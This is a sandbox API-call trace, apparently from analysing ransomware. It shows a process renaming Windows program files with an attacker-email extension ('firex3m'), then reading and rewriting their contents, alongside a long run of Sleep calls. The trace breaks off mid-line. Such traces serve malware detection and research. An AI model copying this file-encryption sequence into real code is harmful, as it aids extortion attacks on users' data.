CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\11.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\weathericons\\30x30\\11.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.033] Sleep (dwMilliseconds=0x1) [0264.046] SysReAllocStringLen (in: pbstr=0x3cfff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\1.png", len=0x78 | out: pbstr=0x3cfff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\1.png") returned 1 [0264.046] GetProcessHeap () returned 0x630000 [0264.046] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4c54) returned 0x6fe3bb0 [0264.047] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\1.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\weathericons\\30x30\\1.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.049] Sleep (dwMilliseconds=0x1) [0264.515] SysReAllocStringLen (in: pbstr=0x3cfff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\CAPSULES\\CAPSULES.INF", len=0x70 | out: pbstr=0x3cfff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\CAPSULES\\CAPSULES.INF") returned 1 [0264.518] GetProcessHeap () returned 0x630000 [0264.518] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4c4c) returned 0x6fe3bb0 [0264.518] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\CAPSULES\\CAPSULES.INF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\capsules\\capsules.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d8 [0264.528] CloseHandle (hObject=0x6d8) returned 1 [0264.528] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3cfef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0264.528] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\CAPSULES\\CAPSULES.INF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\capsules\\capsules.inf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\CAPSULES\\CAPSULES.INF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\capsules\\capsules.inf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0265.577] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3cfef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0265.578] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\CAPSULES\\CAPSULES.INF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3cffc6c | out: lpFindFileData=0x3cffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27abcfff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27abcfff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27abcfff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1f5, dwReserved0=0x320031, dwReserved1=0x5b005f, cFileName="CAPSULES.INF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="CAPSUL~2.FIR")) returned 0x6d51c0 [0265.578] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0265.578] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\CAPSULES\\CAPSULES.INF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\capsules\\capsules.inf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d8 [0265.578] GetProcessHeap () returned 0x630000 [0265.578] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x201) returned 0x6d0950 [0265.578] GetProcessHeap () returned 0x630000 [0265.578] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x201) returned 0x6d0b78 [0265.578] SetFilePointerEx (in: hFile=0x6d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0265.578] ReadFile (in: hFile=0x6d8, lpBuffer=0x6d0950, nNumberOfBytesToRead=0x1e0, lpNumberOfBytesRead=0x3cfff0c, lpOverlapped=0x0 | out: lpBuffer=0x6d0950*, lpNumberOfBytesRead=0x3cfff0c*=0x1e0, lpOverlapped=0x0) returned 1 [0265.581] GetProcessHeap () returned 0x630000 [0265.581] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73174f0 [0265.581] SetFilePointerEx (in: hFile=0x6d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0265.581] WriteFile (in: hFile=0x6d8, lpBuffer=0x6d0b78*, nNumberOfBytesToWrite=0x1e0, lpNumberOfBytesWritten=0x3cfff0c, lpOverlapped=0x0 | out: lpBuffer=0x6d0b78*, lpNumberOfBytesWritten=0x3cfff0c*=0x1e0, lpOverlapped=0x0) returned 1 [0265.581] SetFilePointerEx (in: hFile=0x6d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0265.581] WriteFile (in: hFile=0x6d8, lpBuffer=0x6d0d57*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3cfff0c, lpOverlapped=0x0 | out: lpBuffer=0x6d0d57*, lpNumberOfBytesWritten=0x3cfff0c*=0x20, lpOverlapped=0x0) returned 1 [0265.582] SetFilePointerEx (in: hFile=0x6d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0265.582] WriteFile (in: hFile=0x6d8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3cfff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x3cfff0c*=0x4, lpOverlapped=0x0) returned 1 [0265.582] CloseHandle (hObject=0x6d8) returned 1 [0265.583] GetProcessHeap () returned 0x630000 [0265.583] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6d0b78 | out: hHeap=0x630000) returned 1 [0265.583] GetProcessHeap () returned 0x630000 [0265.583] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6d0950 | out: hHeap=0x630000) returned 1 [0265.583] GetProcessHeap () returned 0x630000 [0265.583] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73174f0 | out: hHeap=0x630000) returned 1 [0265.583] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3cfef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0265.583] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\CAPSULES\\CAPSULES.INF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3cffcc4 | out: lpFindFileData=0x3cffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27abcfff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27abcfff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x643f93cd, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x219, dwReserved0=0x3cffd20, dwReserved1=0x6d0950, cFileName="CAPSULES.INF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="CAPSUL~2.FIR")) returned 0x6d51c0 [0265.583] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0265.583] Sleep (dwMilliseconds=0x1) [0265.602] SysReAllocStringLen (in: pbstr=0x3cfff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\1033\\osmia32.msi", len=0x6b | out: pbstr=0x3cfff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\1033\\osmia32.msi") returned 1 [0265.602] GetProcessHeap () returned 0x630000 [0265.602] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4bcc) returned 0x6fe3bb0 [0265.603] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\1033\\osmia32.msi" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\1033\\osmia32.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6c0 [0265.606] CloseHandle (hObject=0x6c0) returned 1 [0265.606] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3cfef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0265.607] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\1033\\osmia32.msi" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\1033\\osmia32.msi"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\1033\\osmia32.msi.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\1033\\osmia32.msi.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0265.654] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3cfef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0265.654] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\1033\\osmia32.msi.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3cffc6c | out: lpFindFileData=0x3cffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf06cb6d8, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf06cb6d8, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf06cb6d8, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1fb000, dwReserved0=0x6e006f, dwReserved1=0x610074, cFileName="osmia32.msi.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="OSMIA3~1.FIR")) returned 0x6d5500 [0265.654] FindClose (in: hFindFile=0x6d5500 | out: hFindFile=0x6d5500) returned 1 [0265.655] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\1033\\osmia32.msi.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\1033\\osmia32.msi.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6c0 [0265.655] GetProcessHeap () returned 0x630000 [0265.655] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x719ec10 [0265.655] GetProcessHeap () returned 0x630000 [0265.655] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x72b84a0 [0265.656] SetFilePointerEx (in: hFile=0x6c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0265.656] ReadFile (in: hFile=0x6c0, lpBuffer=0x719ec10, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x3cfff0c, lpOverlapped=0x0 | out: lpBuffer=0x719ec10*, lpNumberOfBytesRead=0x3cfff0c*=0xb400, lpOverlapped=0x0) returned 1 [0273.669] GetProcessHeap () returned 0x630000 [0273.669] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318be8 [0273.669] SetFilePointerEx (in: hFile=0x6c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0273.669] WriteFile (in: hFile=0x6c0, lpBuffer=0x72b84a0*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x3cfff0c, lpOverlapped=0x0 | out: lpBuffer=0x72b84a0*, lpNumberOfBytesWritten=0x3cfff0c*=0xb400, lpOverlapped=0x0) returned 1 [0273.670] SetFilePointerEx (in: hFile=0x6c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0273.670] WriteFile (in: hFile=0x6c0, lpBuffer=0x72c389f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3cfff0c, lpOverlapped=0x0 | out: lpBuffer=0x72c389f*, lpNumberOfBytesWritten=0x3cfff0c*=0x20, lpOverlapped=0x0) returned 1 [0273.671] SetFilePointerEx (in: hFile=0x6c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0273.671] WriteFile (in: hFile=0x6c0, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3cfff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x3cfff0c*=0x4, lpOverlapped=0x0) returned 1 [0273.671] CloseHandle (hObject=0x6c0) returned 1 [0273.671] GetProcessHeap () returned 0x630000 [0273.671] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72b84a0 | out: hHeap=0x630000) returned 1 [0273.672] GetProcessHeap () returned 0x630000 [0273.672] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x719ec10 | out: hHeap=0x630000) returned 1 [0273.672] GetProcessHeap () returned 0x630000 [0273.672] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318be8 | out: hHeap=0x630000) returned 1 [0273.672] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3cfef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0273.672] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\1033\\osmia32.msi.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3cffcc4 | out: lpFindFileData=0x3cffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf06cb6d8, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf06cb6d8, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x691145d5, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1fb024, dwReserved0=0xce07496, dwReserved1=0x719ec08, cFileName="osmia32.msi.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="OSMIA3~1.FIR")) returned 0x6d4e40 [0273.672] FindClose (in: hFindFile=0x6d4e40 | out: hFindFile=0x6d4e40) returned 1 [0273.672] Sleep (dwMilliseconds=0x1) [0275.809] SysReAllocStringLen (in: pbstr=0x3cfff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\PERTILI.TTF", len=0x44 | out: pbstr=0x3cfff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\PERTILI.TTF") returned 1 [0275.809] GetProcessHeap () returned 0x630000 [0275.809] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4ae8) returned 0x6fe3bb0 [0275.809] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\PERTILI.TTF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\pertili.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x694 [0275.811] CloseHandle (hObject=0x694) returned 1 [0275.811] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3cfef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0275.811] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\PERTILI.TTF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\pertili.ttf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\PERTILI.TTF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\pertili.ttf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0275.812] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3cfef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0275.812] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\PERTILI.TTF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3cffc6c | out: lpFindFileData=0x3cffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x87ada680, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x87ada680, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x89c3a0a0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xab18, dwReserved0=0x0, dwReserved1=0x0, cFileName="PERTILI.TTF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PERTIL~1.FIR")) returned 0x6d5500 [0275.812] FindClose (in: hFindFile=0x6d5500 | out: hFindFile=0x6d5500) returned 1 [0275.812] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\PERTILI.TTF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\pertili.ttf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x694 [0275.813] GetProcessHeap () returned 0x630000 [0275.813] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xab21) returned 0x753e440 [0275.813] GetProcessHeap () returned 0x630000 [0275.813] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xab21) returned 0x7548f70 [0275.813] SetFilePointerEx (in: hFile=0x694, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0275.813] ReadFile (in: hFile=0x694, lpBuffer=0x753e440, nNumberOfBytesToRead=0xab00, lpNumberOfBytesRead=0x3cfff0c, lpOverlapped=0x0 | out: lpBuffer=0x753e440*, lpNumberOfBytesRead=0x3cfff0c*=0xab00, lpOverlapped=0x0) returned 1 Thread: id = 48 os_tid = 0xa60 [0067.422] Sleep (dwMilliseconds=0x1) [0067.430] Sleep (dwMilliseconds=0x1) [0067.443] Sleep (dwMilliseconds=0x1) [0067.459] Sleep (dwMilliseconds=0x1) [0067.476] Sleep (dwMilliseconds=0x1) [0067.491] Sleep (dwMilliseconds=0x1) [0067.514] Sleep (dwMilliseconds=0x1) [0067.522] Sleep (dwMilliseconds=0x1) [0067.537] Sleep (dwMilliseconds=0x1) [0067.554] Sleep (dwMilliseconds=0x1) [0067.655] Sleep (dwMilliseconds=0x1) [0067.663] Sleep (dwMilliseconds=0x1) [0067.678] Sleep (dwMilliseconds=0x1) [0067.695] Sleep (dwMilliseconds=0x1) [0067.709] Sleep (dwMilliseconds=0x1) [0067.726] Sleep (dwMilliseconds=0x1) [0067.740] Sleep (dwMilliseconds=0x1) [0067.764] Sleep (dwMilliseconds=0x1) [0067.772] Sleep (dwMilliseconds=0x1) [0067.790] Sleep (dwMilliseconds=0x1) [0067.931] Sleep (dwMilliseconds=0x1) [0068.039] Sleep (dwMilliseconds=0x1) [0068.151] Sleep (dwMilliseconds=0x1) [0068.278] Sleep (dwMilliseconds=0x1) [0068.400] Sleep (dwMilliseconds=0x1) [0068.494] Sleep (dwMilliseconds=0x1) [0068.544] Sleep (dwMilliseconds=0x1) [0068.699] Sleep (dwMilliseconds=0x1) [0068.745] Sleep (dwMilliseconds=0x1) [0068.794] Sleep (dwMilliseconds=0x1) [0068.841] Sleep (dwMilliseconds=0x1) [0068.885] Sleep (dwMilliseconds=0x1) [0068.933] Sleep (dwMilliseconds=0x1) [0068.977] Sleep (dwMilliseconds=0x1) [0069.046] Sleep (dwMilliseconds=0x1) [0069.106] Sleep (dwMilliseconds=0x1) [0069.157] Sleep (dwMilliseconds=0x1) [0069.200] Sleep (dwMilliseconds=0x1) [0069.247] Sleep (dwMilliseconds=0x1) [0069.294] Sleep (dwMilliseconds=0x1) [0069.376] Sleep (dwMilliseconds=0x1) [0069.437] Sleep (dwMilliseconds=0x1) [0069.481] Sleep (dwMilliseconds=0x1) [0069.524] Sleep (dwMilliseconds=0x1) [0069.687] Sleep (dwMilliseconds=0x1) [0069.921] Sleep (dwMilliseconds=0x1) [0070.144] Sleep (dwMilliseconds=0x1) [0070.264] Sleep (dwMilliseconds=0x1) [0070.380] Sleep (dwMilliseconds=0x1) [0070.536] Sleep (dwMilliseconds=0x1) [0070.874] Sleep (dwMilliseconds=0x1) [0071.564] Sleep (dwMilliseconds=0x1) [0071.939] Sleep (dwMilliseconds=0x1) [0072.424] Sleep (dwMilliseconds=0x1) [0072.604] Sleep (dwMilliseconds=0x1) [0072.801] Sleep (dwMilliseconds=0x1) [0072.952] Sleep (dwMilliseconds=0x1) [0073.102] Sleep (dwMilliseconds=0x1) [0073.605] Sleep (dwMilliseconds=0x1) [0073.778] Sleep (dwMilliseconds=0x1) [0073.975] Sleep (dwMilliseconds=0x1) [0074.080] Sleep (dwMilliseconds=0x1) [0074.182] Sleep (dwMilliseconds=0x1) [0074.379] Sleep (dwMilliseconds=0x1) [0074.672] Sleep (dwMilliseconds=0x1) [0074.770] Sleep (dwMilliseconds=0x1) [0074.850] Sleep (dwMilliseconds=0x1) [0074.907] Sleep (dwMilliseconds=0x1) [0074.998] Sleep (dwMilliseconds=0x1) [0075.062] Sleep (dwMilliseconds=0x1) [0075.104] Sleep (dwMilliseconds=0x1) [0075.159] Sleep (dwMilliseconds=0x1) [0075.220] Sleep (dwMilliseconds=0x1) [0075.260] Sleep (dwMilliseconds=0x1) [0075.308] Sleep (dwMilliseconds=0x1) [0075.358] Sleep (dwMilliseconds=0x1) [0075.425] Sleep (dwMilliseconds=0x1) [0075.515] Sleep (dwMilliseconds=0x1) [0075.565] Sleep (dwMilliseconds=0x1) [0075.614] Sleep (dwMilliseconds=0x1) [0075.697] Sleep (dwMilliseconds=0x1) [0075.746] Sleep (dwMilliseconds=0x1) [0075.791] Sleep (dwMilliseconds=0x1) [0075.832] Sleep (dwMilliseconds=0x1) [0076.047] Sleep (dwMilliseconds=0x1) [0076.060] Sleep (dwMilliseconds=0x1) [0076.086] Sleep (dwMilliseconds=0x1) [0076.104] Sleep (dwMilliseconds=0x1) [0076.189] Sleep (dwMilliseconds=0x1) [0076.388] Sleep (dwMilliseconds=0x1) [0076.533] Sleep (dwMilliseconds=0x1) [0076.669] Sleep (dwMilliseconds=0x1) [0076.773] Sleep (dwMilliseconds=0x1) [0076.806] Sleep (dwMilliseconds=0x1) [0076.845] Sleep (dwMilliseconds=0x1) [0076.869] Sleep (dwMilliseconds=0x1) [0076.923] Sleep (dwMilliseconds=0x1) [0076.982] Sleep (dwMilliseconds=0x1) [0077.071] Sleep (dwMilliseconds=0x1) [0077.152] Sleep (dwMilliseconds=0x1) [0077.225] Sleep (dwMilliseconds=0x1) [0077.286] Sleep (dwMilliseconds=0x1) [0077.362] Sleep (dwMilliseconds=0x1) [0077.409] Sleep (dwMilliseconds=0x1) [0077.523] Sleep (dwMilliseconds=0x1) [0077.595] Sleep (dwMilliseconds=0x1) [0077.651] Sleep (dwMilliseconds=0x1) [0077.686] Sleep (dwMilliseconds=0x1) [0077.740] Sleep (dwMilliseconds=0x1) [0077.779] Sleep (dwMilliseconds=0x1) [0077.835] Sleep (dwMilliseconds=0x1) [0077.854] Sleep (dwMilliseconds=0x1) [0077.908] Sleep (dwMilliseconds=0x1) [0077.962] Sleep (dwMilliseconds=0x1) [0077.978] Sleep (dwMilliseconds=0x1) [0077.999] Sleep (dwMilliseconds=0x1) [0078.087] Sleep (dwMilliseconds=0x1) [0078.116] Sleep (dwMilliseconds=0x1) [0078.135] Sleep (dwMilliseconds=0x1) [0078.191] Sleep (dwMilliseconds=0x1) [0078.225] Sleep (dwMilliseconds=0x1) [0078.237] Sleep (dwMilliseconds=0x1) [0078.254] Sleep (dwMilliseconds=0x1) [0078.270] Sleep (dwMilliseconds=0x1) [0078.287] Sleep (dwMilliseconds=0x1) [0078.312] Sleep (dwMilliseconds=0x1) [0078.361] Sleep (dwMilliseconds=0x1) [0078.378] Sleep (dwMilliseconds=0x1) [0078.514] Sleep (dwMilliseconds=0x1) [0078.535] Sleep (dwMilliseconds=0x1) [0078.559] Sleep (dwMilliseconds=0x1) [0078.571] Sleep (dwMilliseconds=0x1) [0078.608] Sleep (dwMilliseconds=0x1) [0078.628] Sleep (dwMilliseconds=0x1) [0078.644] Sleep (dwMilliseconds=0x1) [0078.661] Sleep (dwMilliseconds=0x1) [0078.674] Sleep (dwMilliseconds=0x1) [0078.706] Sleep (dwMilliseconds=0x1) [0078.723] Sleep (dwMilliseconds=0x1) [0078.736] Sleep (dwMilliseconds=0x1) [0078.755] Sleep (dwMilliseconds=0x1) [0078.768] Sleep (dwMilliseconds=0x1) [0078.788] Sleep (dwMilliseconds=0x1) [0078.836] Sleep (dwMilliseconds=0x1) [0078.888] Sleep (dwMilliseconds=0x1) [0078.931] Sleep (dwMilliseconds=0x1) [0078.942] Sleep 